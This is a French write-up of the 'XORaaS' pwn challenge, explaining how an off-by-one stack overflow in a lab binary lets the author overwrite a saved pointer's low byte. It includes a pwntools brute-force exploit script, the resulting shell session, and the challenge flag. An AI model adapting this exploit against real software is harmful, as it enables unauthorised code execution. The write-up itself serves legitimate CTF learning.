Solution de numb3rss pour XORaaS

pwn x86/x64

2 décembre 2023

📚 Description du challenge

Difficulté: ⭐
Architecture: Amd64
Mon setup:

  • GDB avec pwndbg comme wrapper
  • Binary Ninja
  • Pwntools

Protection sur le binaire:

└─$ pwn checksec --file ./xoraas
[*] '/home/number/Desktop/CTF/Hackropole/Pwn/Xoraas/xoraas'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Dans ce challenge rĂ©alisĂ© par Cryptanalyse, il nous est demandĂ© de recupĂ©rer le contenu du fichier flag.txt en dĂ©tournant l’usage d’un binaire nommĂ© xoraas.

Retro-inginiérie du binaire

Libre Ă  vous d’utiliser le dĂ©compilateur de votre choix mais Ă©tant donnĂ© que j’ai dĂ©pensĂ© 80euros pour une licence Binary Ninja, je vais une fois de plus essayer de me persuader que c’est mieux que Ghidra et l’utiliser pour dĂ©compiler le binaire.

Voici la décompilation de la fonction main en C :

image

Et voici la décompilation de la fonction xor en C :

image

Sans oublier la décompilation de la fonction shell en C:

image

En bref il ne se passe pas grand chose de passionnant: le programme lit tout d’abord 0x80 octets via l’entrĂ©e standard dans la variable buf de 0x80 octets

on obtient la taille de la variable via la ligne suivante:

004011ee  488d4580           lea     rax, [rbp-0x80 {buf}]

Puis, le programme appelle la fonction xor en passant l’adresse de la variable buf en paramĂštre.

La fonction xor est aussi trĂšs courte, elle lit 0x91 octets dans une variable aussi nommĂ©e buf (par mes soins đŸ„ž). Ce qui est intĂ©ressant c’est que Ă  notre plus grande suprise la variable buf fait seulement 0x90 octets

00401178  488d8570ffffff     lea     rax, [rbp-0x90 {buf}]

Une fois nos 0x91 octets entrées, nos deux entrées sont xorées entre elles et nous sont ensuite affichés par la sortie standard.

Quant Ă  la fonction shell , elle appelle le binaire /bin/sh via le syscall execve nous permettant d’avoir un accĂšs au terminal de la machine.

On fait quoi

Pour rĂ©sumer, on a un off by one (en gros un dĂ©passement de 1 octet) sur la stack. Voyons voir ce que l’on peut en faire.

En mettant un breakpoint sur l’appel Ă  fread dans la fonction xor, on rĂ©cupĂšre l’addresse sur la stack qui va “recevoir” nos donnĂ©es: image

Hop on a notre adresse: 0x7fffffffdab0. Toujours avec gdb, on va regarder ce qu’il se passe 0x90 octets aprĂšs cette adresse.

Tiens tiens tiens un pointeur vers la stack đŸ„ž et encore mieux un pointeur vers l’adresse de retour de la fonction main.

En réécrivant le LSB (least significant bit) de ce pointeur, il doit nous ĂȘtre possible de le faire pointer vers la fonction de notre choix

On a maintenant tous les Ă©lĂ©ments nous permettant de rediriger l’exĂ©cution du programme vers la fonction shell.

💣 Exploit

Pour avoir mon shell, j’ai optĂ© pour une mĂ©thode un peu barbare qui consiste Ă  bruteforcer le LSB du pointeur de l’adresse de retour pour le faire pointer - oĂč non - vers l’adresse de la fonction shell.

Je vais Ă©numerer les Ă©tapes que l’on va devoir effectuer pour parvenir Ă  nos fins:

  • Envoyer 0x80 fois le caractĂšre \x00 afin que l’on ne soit pas embĂȘtĂ© par le xor (0 ^ x = x)
  • Envoyer 18 fois l’adresse de shell (car ca donne 0x90 octets) + la valeur que l’on veut donner au LSB de l’adresse de retour.
  • Enjoy le shell (đŸ€ž)

Pour intĂ©ragir avec le binaire et lui fournir ma/mes charge(s) utile(s) j’ai utilisĂ© la librairie pwntools avec python3:

from pwn import *


elf = ELF('./xoraas')
pk=make_packer('all')


for i in range(256):
    p = remote('localhost', 4000)

    p.send(b"\0"*0x80)
    payload = p64(0x401142)*18
    payload += pk(i)

    p.send(payload)

    p.clean()
    try:
        p.send(b"echo PWNED\n")
        check = p.recv(timeout=1)

        if b"PWNED" in check:
            print("Offset: %i" % i)
            p.interactive()
            break
    except:
        p.close()
        continue
p.close()

Et finalement, en exécutant notre script, on obtient:

$ python working.py SILENT
Offset: 40
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag.txt
FCSC{0d6c81576d1465a876422910769e79af287c9e73254112572737383039194f5d}

Merci d’avoir lu jusqu’au bout, j’espĂšre avoir Ă©tĂ© clair dans mes propos et surtout un grand merci Ă  Cryptanalyse pour ce challenge 👍

si vous avez des questions n’hĂ©sitez pas Ă  me contacter sur discord @numb3rss ou alors sur twitter